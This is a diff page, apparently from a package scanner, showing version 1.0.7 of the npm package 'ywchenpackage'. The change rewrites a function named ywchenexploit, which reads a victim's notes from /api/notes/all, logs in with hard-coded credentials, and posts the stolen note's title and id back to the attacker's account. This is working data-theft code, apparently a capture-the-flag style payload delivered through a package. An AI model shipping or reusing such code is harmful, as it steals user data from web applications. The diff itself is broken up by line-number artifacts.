ywchenpackage 1.0.6 → 1.0.7
Sign up to get free protection for your applications and to get access to all the features.
- package/index.js +28 -15
- package/package.json +1 -1
package/index.js
CHANGED
@@ -1,24 +1,37 @@
|
|
1
|
-
function ywchenexploit(cookie
|
1
|
+
function ywchenexploit(cookie) {
|
2
2
|
let stolenurl = "/api/notes/all";
|
3
|
+
let c2path = "/api/notes/add";
|
4
|
+
let stolen;
|
3
5
|
fetch(stolenurl)
|
4
6
|
.then(
|
5
|
-
|
7
|
+
(response) => {
|
6
8
|
return response.json();
|
7
9
|
}
|
8
10
|
).then(
|
9
|
-
|
10
|
-
|
11
|
+
(response) => {
|
12
|
+
stolen = response[0];
|
11
13
|
stolen.author = "aaaa";
|
12
|
-
|
13
|
-
|
14
|
-
|
15
|
-
|
16
|
-
|
17
|
-
|
18
|
-
|
19
|
-
|
20
|
-
|
21
|
-
|
22
|
-
|
14
|
+
});
|
15
|
+
|
16
|
+
fetch(
|
17
|
+
"/login", {
|
18
|
+
method: "POST",
|
19
|
+
headers: {
|
20
|
+
"content-type": "application/json"
|
21
|
+
},
|
22
|
+
body: JSON.stringify({"username":"ywchen","password":"ywchen"})
|
23
|
+
}).then(
|
24
|
+
(response) => {
|
25
|
+
fetch(
|
26
|
+
c2path, {
|
27
|
+
method: "POST",
|
28
|
+
headers: {
|
29
|
+
"content-type": "application/json",
|
30
|
+
"cookie": "session="+cookie
|
31
|
+
},
|
32
|
+
body: JSON.stringify({"title":stolen.title+"_leak","content":stolen.id})
|
33
|
+
}
|
34
|
+
);
|
35
|
+
});
|
23
36
|
return "hello NPM"
|
24
37
|
}
|